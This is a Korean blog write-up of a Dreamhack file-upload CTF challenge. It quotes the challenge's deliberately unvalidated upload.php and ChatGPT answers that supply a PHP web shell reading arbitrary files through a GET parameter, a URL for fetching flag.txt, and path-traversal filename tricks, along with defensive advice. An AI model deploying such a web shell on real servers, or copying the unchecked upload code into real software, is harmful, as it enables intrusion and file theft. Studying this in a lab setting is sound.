후후 41번째 문제..과연 무슨 문제가..?
php
PHP는 웹사이트에 회원가입을 할 때 아이디 검사, 주소 검색, 비밀번호 유효성 검사 등의 행위를 실행하도록 만들어주는 역할을 합니다. 조금 더 자세히 설명드리자면 동적인 웹페이지를 만들기 위해 설계가 된 언어입니다.
흠 파일 업로드 취약점을 이용해 flag를 획득해라는건...하나도 모르겠다 (먼산)
이럴땐 우리 gpt를 불러보자
나:
php로 작성된 파일 저장 서비스에서 파일 업로드 취약점이 뭐가 있어?
gpt:
PHP로 작성된 파일 저장 서비스에서 발생할 수 있는 파일 업로드 취약점은 여러 가지가 있으며, 이들 취약점은 보안에 심각한 위협을 줄 수 있습니다. 주요 취약점은 다음과 같습니다:
1. 파일 확장자 검증 실패
- 서버가 사용자가 업로드하는 파일의 확장자를 충분히 검증하지 않는 경우, 악성 파일(예: .php, .exe 등)이 업로드될 수 있습니다.
- 공격자는 PHP 스크립트 파일을 업로드하여 서버에서 이를 실행하도록 유도할 수 있습니다.
2. MIME 타입 검증 실패
- 업로드된 파일의 MIME 타입을 제대로 검증하지 않는 경우, 실제 파일 형식과 다른 형식으로 인식될 수 있습니다. 예를 들어, 텍스트 파일의 MIME 타입이 text/plain으로 설정되었지만, 실제로는 악성 코드를 포함한 스크립트일 수 있습니다.
3. 파일 이름 변경
- 사용자가 제공한 파일 이름을 그대로 사용하면, 파일 이름에 악성 코드를 포함할 수 있습니다. 예를 들어, 공격자가 malicious.php라는 이름으로 파일을 업로드할 수 있습니다.
- 파일 이름을 처리할 때 특수 문자나 경로 구분자를 필터링하지 않으면, 경로 탐색 공격이 가능해질 수 있습니다.
4. 디렉토리 탐색 공격
- 업로드된 파일이 저장되는 경로를 잘못 처리하면, 공격자가 상위 디렉토리로 접근하여 시스템의 다른 파일에 접근할 수 있습니다. 예를 들어, ../../etc/passwd와 같은 경로를 통해 시스템 파일에 접근할 수 있습니다.
5. 파일 크기 제한 미설정
- 파일 크기에 대한 제한을 설정하지 않으면, 대용량 파일을 업로드하여 서비스 거부(DoS) 공격을 수행할 수 있습니다. 이는 서버의 저장 공간을 소모하고, 다른 사용자의 파일 업로드를 방해할 수 있습니다.
6. 서버 측 코드 실행
- 악성 파일이 서버에 업로드되어 실행될 수 있는 경우, 서버가 손상되고 데이터가 유출될 수 있습니다. 공격자는 서버 권한을 탈취하거나 데이터베이스에 접근할 수 있습니다.
7. 악성 스크립트 포함
- 공격자는 악성 스크립트를 포함한 파일을 업로드하여 다른 사용자가 해당 파일에 접근할 때 악성 코드를 실행할 수 있습니다. 이는 사용자의 세션 하이재킹이나 개인 정보 탈취로 이어질 수 있습니다.
예방 조치
이러한 취약점을 방지하기 위해 다음과 같은 예방 조치를 취할 수 있습니다:
- 파일 확장자 및 MIME 타입 검증: 업로드된 파일의 확장자와 MIME 타입을 엄격하게 검증합니다. 허용된 형식만 업로드할 수 있도록 제한합니다.
- 파일 이름 처리: 파일 이름을 안전한 형식으로 변경하고, 특수 문자를 필터링합니다.
- 디렉토리 접근 제한: 파일 업로드 경로를 안전하게 설정하고, 경로 탐색 공격을 방지합니다.
- 파일 크기 제한 설정: 업로드할 수 있는 파일의 최대 크기를 설정합니다.
- 업로드 파일 저장 방식: 업로드된 파일을 실행할 수 없는 경로에 저장하고, PHP 파일 실행을 비활성화합니다.
- 웹 애플리케이션 방화벽(WAF): 악성 요청을 차단하기 위해 WAF를 사용합니다.
이러한 방법들을 통해 파일 업로드 취약점을 최소화할 수 있습니다.
오호 말그대로
파일을 업로드하는 과정에서 파일 이름, 확장, 크기, 악성 파일 자체 업로드, 악성 스크립트 포함 파일 업로드,
무려 경로 문제까지!!
보안입장에서 엄청 까다로운 녀석이다.,.
일단 소스코드를 한번보자
upload.php 파일안의 소스코드다
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<form enctype='multipart/form-data' method="POST">
<div class="form-group">
<label for="InputFile">파일 업로드</label>
<input type="file" id="InputFile" name="file">
</div>
<input type="submit" class="btn btn-default" value="Upload">
</form>
</div>
</body>
</html>
gpt:
이 PHP 스크립트는 파일 업로드 기능을 구현한 간단한 웹 애플리케이션입니다. 사용자가 파일을 업로드할 수 있도록 HTML 폼을 제공하며, 서버는 업로드된 파일을 지정된 디렉토리에 저장합니다. 아래에서 각 부분을 자세히 분석하겠습니다.
코드 분석
- PHP 파일 업로드 처리:
- HTTP 요청 메서드가 POST인지 확인하여, 파일 업로드 요청이 들어왔을 때만 처리를 시작합니다.
-
php코드 복사if ($_SERVER['REQUEST_METHOD'] === 'POST') {
- 파일 정보 가져오기:
- $_FILES 배열을 사용하여 업로드된 파일의 정보를 가져옵니다. 여기서 $_FILES["file"]는 HTML 폼에서 name 속성이 file인 입력 요소의 정보를 포함합니다.
- $directory: 파일이 저장될 디렉토리 경로입니다.
- $error: 파일 업로드 시 발생한 오류 코드입니다.
- $name: 업로드된 파일의 원래 이름입니다.
- $tmp_name: PHP가 임시로 저장한 파일의 경로입니다.
-
php코드 복사if (isset($_FILES)) { $directory = './uploads/'; $file = $_FILES["file"]; $error = $file["error"]; $name = $file["name"]; $tmp_name = $file["tmp_name"];
- 파일 업로드 오류 처리:
- 파일 업로드 중 오류가 발생하면 해당 오류 코드를 출력합니다.
-
php코드 복사if ($error > 0) { echo "Error: " . $error . "<br>";
- 파일 존재 여부 확인:
- 동일한 이름의 파일이 이미 업로드된 경우, 사용자에게 경고 메시지를 출력합니다.
-
php코드 복사if (file_exists($directory . $name)) { echo $name . " already exists. ";
- 파일 저장:
- move_uploaded_file() 함수를 사용하여 임시 파일을 지정된 디렉토리로 이동합니다. 성공적으로 저장되면 파일 경로를 출력합니다.
-
php코드 복사if (move_uploaded_file($tmp_name, $directory . $name)) { echo "Stored in: " . $directory . $name; }
- HTML 폼:
- 파일을 업로드하기 위한 HTML 폼을 정의합니다. enctype='multipart/form-data' 속성은 파일 데이터를 서버로 전송하기 위해 필요합니다.
- <input type="file"> 요소를 사용하여 사용자가 파일을 선택할 수 있도록 합니다.
-
html코드 복사<form enctype='multipart/form-data' method="POST"> <div class="form-group"> <label for="InputFile">파일 업로드</label> <input type="file" id="InputFile" name="file"> </div> <input type="submit" class="btn btn-default" value="Upload"> </form>
잠재적인 취약점
- 파일 확장자 검증 실패:
- 서버가 업로드되는 파일의 확장자를 검증하지 않으므로, 악성 스크립트(예: .php 파일 등)가 업로드될 수 있습니다.
- MIME 타입 검증 실패:
- 서버는 업로드된 파일의 MIME 타입을 확인하지 않으므로, 실제 파일 형식과 다르게 처리될 수 있습니다.
- 디렉토리 탐색 공격:
- 사용자 입력을 검증하지 않으면, 공격자가 경로 탐색 공격을 통해 서버의 다른 파일에 접근할 수 있습니다.
- 파일 크기 제한 미설정:
- 파일 크기에 대한 제한이 없으면, 대용량 파일을 업로드하여 서비스 거부(DoS) 공격이 발생할 수 있습니다.
- 파일 이름 처리 부족:
- 파일 이름을 직접 사용하여 저장하므로, 특수 문자가 포함된 파일 이름이 문제를 일으킬 수 있습니다. 예를 들어, 공격자가 ../ 문자를 사용하여 의도하지 않은 위치에 파일을 저장하려고 할 수 있습니다.
결론
이 PHP 스크립트는 기본적인 파일 업로드 기능을 제공하지만, 여러 가지 보안 취약점이 존재합니다. 파일 업로드를 처리할 때는 다음과 같은 방어책을 고려해야 합니다:
- 파일 확장자 및 MIME 타입 검증: 허용된 파일 형식만 업로드하도록 검증합니다.
- 안전한 파일 이름 처리: 파일 이름을 안전하게 변경하고, 경로 탐색 공격을 방지합니다.
- 파일 크기 제한 설정: 업로드할 수 있는 파일의 최대 크기를 설정합니다.
- 파일 저장 경로 보호: 업로드된 파일이 실행될 수 없도록 별도의 디렉토리에 저장합니다.
이러한 보안 조치를 통해 파일 업로드 기능을 보다 안전하게 만들 수 있습니다.
나:
gpt:
flag.txt 파일을 파일 업로드 과정에서 볼 수 있는 방법은 보안 취약점을 이용하는 것입니다. 아래에서는 이 PHP 파일 업로드 스크립트의 잠재적인 취약점을 이용하여 flag.txt 파일을 읽거나 접근할 수 있는 몇 가지 방법을 설명하겠습니다.
1. 악성 PHP 파일 업로드
가장 일반적인 방법은 악성 PHP 파일을 서버에 업로드하는 것입니다. 이를 위해, 파일 업로드 취약점을 이용해 서버에서 PHP 코드를 실행할 수 있는 파일을 업로드할 수 있습니다.
절차
- PHP 웹 쉘 작성:
- 간단한 PHP 웹 쉘을 작성합니다. 이 웹 쉘은 서버에서 PHP 코드를 실행할 수 있는 기능을 포함합니다.
php코드 복사<?php if (isset($_GET['file'])) { echo file_get_contents($_GET['file']); } ?>- 이 코드를 shell.php라는 이름으로 저장합니다.
- 업로드:
- 위의 스크립트를 업로드하는 과정에서 파일 확장자 검증이 이루어지지 않으면, shell.php 파일을 업로드합니다. 이때, 파일 이름이 flag.txt로 덮어쓰기 되지 않도록 합니다.
- 플래그 파일 접근:
- 업로드가 성공하면, 웹 브라우저에서 다음과 같은 URL을 통해 flag.txt 파일의 내용을 읽습니다.
plaintext코드 복사http://<서버 주소>/shell.php?file=./flag.txt
2. 경로 탐색 공격
경로 탐색을 통해 flag.txt 파일에 접근할 수도 있습니다. 만약 파일 경로 검증이 제대로 이루어지지 않으면, 사용자가 입력한 파일 이름에 ../와 같은 경로 탐색 문자를 포함시켜, 다른 디렉토리에 있는 파일에 접근할 수 있습니다.
절차
- 파일 업로드:
- 파일 업로드를 통해 flag.txt 파일을 요청하는 코드가 있는 파일을 업로드합니다. 예를 들어, 파일 이름을 ../../uploads/flag.txt로 설정할 수 있습니다.
- 접근 시도:
- 파일 업로드가 성공하면, 웹 브라우저에서 접근하여 해당 경로의 파일을 확인합니다.
3. 취약점 검사
위 방법들이 성공하기 위해서는 다음과 같은 조건이 충족되어야 합니다:
- 파일 확장자 검증이 없거나 미약할 것: 업로드된 파일의 확장자나 MIME 타입 검증이 제대로 이루어지지 않아야 합니다.
- 디렉토리 탐색이 허용될 것: 사용자 입력이 충분히 검증되지 않아야 하며, 경로 탐색이 가능해야 합니다.
- 서버에서 PHP 파일 실행이 가능할 것: 업로드된 PHP 파일이 웹 서버에서 실행될 수 있어야 합니다.
주의 사항
- 위의 방법은 교육적 목적으로만 설명되었으며, 실제 공격 행위는 불법입니다. 보안 취약점을 이해하고 방어 방법을 배우는 데 목적이 있습니다.
- 웹 애플리케이션을 안전하게 만들기 위해서는 이러한 취약점을 방지하는 것이 중요하며, 필수적인 보안 조치를 적용해야 합니다.
방어 방법
- 파일 업로드 검증: 확장자 및 MIME 타입 검증을 강화합니다.
- 파일 이름 안전 처리: 업로드된 파일 이름을 안전하게 변경하고, 디렉토리 탐색을 방지합니다.
- PHP 실행 제한: 업로드된 파일이 있는 디렉토리에서 PHP 실행을 비활성화합니다.
- CSP 및 WAF: 콘텐츠 보안 정책(CSP)을 적용하고 웹 애플리케이션 방화벽(WAF)을 사용하여 악성 요청을 차단합니다.
이와 같은 방어 방법을 통해 웹 애플리케이션의 보안을 강화할 수 있습니다.
좋아 해보자고
gpt:
`shell.php` 파일을 업로드했음에도 불구하고 흰 화면만 보이는 경우에는 여러 가지 원인이 있을 수 있습니다. 아래에서 점검해야 할 몇 가지 사항과 가능성을 정리하겠습니다.
### 점검해야 할 사항
1. **PHP 오류 표시 설정**:
- PHP 오류가 발생했지만 표시되지 않을 수 있습니다. `php.ini` 설정에서 오류 표시를 활성화하거나, 스크립트에서 다음 코드를 추가하여 오류를 확인할 수 있습니다.
```php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
?>
```
2. **파일 경로 및 권한**:
- `shell.php` 파일이 실제로 업로드된 위치에 있는지 확인합니다. 파일 권한이 적절히 설정되어 있어야 하며, 웹 서버가 해당 파일을 실행할 수 있는 권한이 있어야 합니다.
3. **웹 서버 로그 확인**:
- 웹 서버의 에러 로그를 확인하여 PHP 오류나 다른 문제를 찾습니다. 로그 파일은 일반적으로 `/var/log/apache2/error.log` (Apache) 또는 `/var/log/nginx/error.log` (Nginx)에 위치합니다.
4. **PHP 실행 여부 확인**:
- 서버에서 PHP가 올바르게 실행되고 있는지 확인합니다. 간단한 PHP 스크립트를 사용하여 PHP 실행이 가능한지 확인할 수 있습니다.
```php
<?php
echo "PHP is working!";
?>
```
5. **웹서버의 디렉토리 설정**:
- 업로드한 파일이 있는 디렉토리에서 PHP 파일 실행이 허용되어 있는지 확인합니다. 예를 들어, `.htaccess` 파일에 PHP 파일을 실행할 수 없도록 설정되어 있을 수 있습니다.
6. **CSRF 및 보안 정책**:
- 특정 보안 설정이 파일 업로드를 제한하고 있는지 확인합니다. 예를 들어, CSP(Content Security Policy)가 적용되어 있다면 외부 스크립트의 실행이 차단될 수 있습니다.
### 기본적인 웹 쉘 코드
올바르게 작성된 기본 웹 쉘 코드는 다음과 같습니다. `shell.php` 파일에 다음 코드를 삽입해 보세요.
```php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
if (isset($_GET['file'])) {
$file = $_GET['file'];
if (file_exists($file)) {
echo nl2br(htmlspecialchars(file_get_contents($file)));
} else {
echo "File does not exist.";
}
} else {
echo "No file specified.";
}
?>
```
이 스크립트는 쿼리 문자열에서 `file` 매개변수를 가져와서 해당 파일의 내용을 읽어 표시합니다. 이 코드를 업로드하고, 다음과 같은 URL로 접근해 보세요:
```
http://<서버 주소>/shell.php?file=./flag.txt
```
### 결론
이러한 점검 사항을 통해 문제를 해결할 수 있을 것입니다. 문제가 계속된다면, 추가적인 정보를 제공해 주시면 더 구체적으로 도와드릴 수 있습니다.
블로그...블로그 해설이 필요하다...
https://man-25-1.tistory.com/127
엌ㅋㅋ php 코드 너무 간단했고..
system 함수를 이용하는거였다..
system 함수는 뭐지..
system() 함수는 PHP에서 외부 프로그램이나 명령어를 실행할 때 사용하는 함수입니다. 이 함수는 명령어의 실행 결과를 출력하고, 마지막 명령어의 종료 상태를 반환합니다.
https://blog.naver.com/imm7745/221787926378
흠...이런 느낌..?
https://paric.tistory.com/m/789
어...이건 내 머리속 지식의 한계인데
https://01092090536.tistory.com/36
오오오 이런 느낌..?
php문은 아직 나에게 미지의 영역 같다..!
드림핵 강의 들어야하는데ㅔㅔㅔㅔ흐아ㅏㅏ
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[43] IT 비전공자 [dreamhack]basic_exploitation_001 문제 풀기 (4) | 2024.10.22 |
---|---|
[42] IT 비전공자 [dreamhack]rev-basic-3 문제 풀기 (6) | 2024.10.21 |
[40] IT 비전공자 [dreamhack]csrf-2문제 풀기 (2) | 2024.10.19 |
[39] IT 비전공자 [dreamhack]csrf-1문제 풀기 (10) | 2024.10.18 |
[38] IT 비전공자 [dreamhack]xss-2문제 풀기 (3) | 2024.10.17 |